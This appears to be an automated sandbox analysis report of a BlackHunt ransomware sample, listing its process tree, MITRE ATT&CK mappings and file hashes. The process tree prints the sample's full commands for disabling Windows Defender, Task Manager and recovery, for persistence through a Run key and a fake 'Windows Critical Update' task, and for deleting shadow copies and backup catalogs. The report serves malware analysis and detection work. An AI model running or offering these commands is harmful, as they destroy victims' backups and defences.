description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe"C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3108 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2292 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4100
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4104
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:3324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4468
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:5096
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4028
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:4964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:4464
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2684
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:664
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2616
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2548
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4812
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:560
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4548
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2664
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:4916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1732
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:5020
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3784
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2276
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3912
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:3908
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:4888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe" /F2⤵PID:1676
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe" /F3⤵
- Creates scheduled task(s)
PID:2952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2412
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1160
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:4856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4324
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4084
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1232
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4976
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4480
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1916
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2160
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2296
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4256
-
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:1844
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4960
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:3784
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5820
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4984
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:5352
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD52df6217a15df57b0d7a950d298a8a9a6
SHA19c3ad4e46699658b7745eb1239806e5e115d9266
SHA2566747074678b9f2719195732e0ad6aea30ed0f582c632f396adc40792fd8f1491
SHA512054324eb9400e9739fb6afce63057ddd8d87f200e4dc36eb86b11720f4fe3fa1615094c891c856746d8cc41b9669e57a8614f6b591adc088ac7102aaab5e879c
-
Filesize
12KB
MD5c1a7caa57bd911c54c1adefc55980bbc
SHA13494718f91ee95fa98589ba0d3ebd90faa0050bd
SHA2566148128051db85c5a1c6cae843bc6e817f3dd5da3cd41245852692d3846b05e9
SHA51274d49a6234314bc9b436a0ccbc35bcd01155dde488fb3fbb6913133b0bd29745033acd0cc1d2954dcf467845d0806d1e85f54754299dfbbbd412e0bc1594f60e
-
Filesize
684B
MD5b62b033506db300ef21dd91456ad667d
SHA1bdacc8bcdddcd6a293db400df476ec2bfd45ac1a
SHA256f5d7509a5ed761ac0c71141539267118e96f475395206508cd6f547c2393f538
SHA512d323b15a05ae302b75f1135f9c78592ca9e0b21e4ece0b6545376109453bbd37299f6fcfc1806adfec5211cb41bb6d6a8383e7ea83ae540359491ae28d1bc040